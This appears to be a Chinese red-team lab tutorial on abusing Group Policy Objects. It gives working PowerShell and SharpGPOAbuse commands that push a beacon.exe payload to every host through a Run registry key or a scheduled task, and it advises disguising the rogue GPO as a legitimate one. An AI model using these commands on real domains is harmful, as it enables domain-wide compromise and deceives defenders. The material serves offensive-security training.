Skip to main content

GPO的利用

组策略是森林或域中控制计算机和用户配置的中央存储库。 组策略对象GPO是应用于OU的配置集。 OU中任何计算机或 成员都被GPO所影响。
默认情况下,只有域管理员可以创建 GPO 并将GPO链接到 OU,但通常的做法是将这些权限委派给其他团队,例如委派工作站管理员创建 GPO 并将其链接到工作站 OU 的权限。
当一组用户有权限修改应用于高特权用户的 GPO 时,或被特权用户使用的计算机,往往容易导致特权提升。 GPO也可被利用与 横向移动并创建持久化后门。

image.png

image.png

RSAT 是微软提供的用于协助管理域内组件的管理组件。由于它是合法的工具且经常在工作站与服务器上使用,所以我们可以利用它而不需要携带外部工具。
GroupPolicy模块有数个powershell命令可以被用于管理GPO,包括
new-gpo:创建一个新的空GPO
new-gplink:将一个GPO连接到站点、域,或OU
set-gpprefregistryvalue:在计算机或用户配置下配置一个注册表偏好条目

set-gpregistryvalue:在用户或计算机配置中配置一个或多个基于注册表策略的设置
get-gporeport:生成XML或HTML格式的报告
创建一个GPO并且立刻链接到目标OU
powershell new-gpo -name "evil" | new-gplink -target "ou=workstations, dc=dev, dc=cyberbotic, dc=io"
OPSEC:新建的GPO会在组策略管理控制台以及其他RSAT工具中显示,尽可能让GPO名称看起来合法

RCE
Set-GPPrefRegistryValue -Name "evil" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\c$\users\beacon.exe" -Type ExpandString
每台主机会每隔几个小时自动刷新GPO,但我们可以使用gpupdate /target:computer /force来强制立刻同步GPO。之后可以查看注册表来手动确认GPO已经作用于该主机了

添加恶意的GPO并连接到OU以及强制更新

image.png

SharpGPOAbuse工具(https://github.com/FSecureLABS/SharpGPOAbuse )可被用于进行一系列对GPO的利用。它不能创建新的GPO,因此在这之前我们需要用RSAT等工具创建目标GPO或者对我们具有写权限的GPO进行利用
使用SharpGPOAbuse给目标GPO添加立即的计划任务
SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\c$\users\beacon.exe" --GPOName "PowerShell Logging"
等待一段时间之后,或强制刷新,我们会获得域内所有主机的连接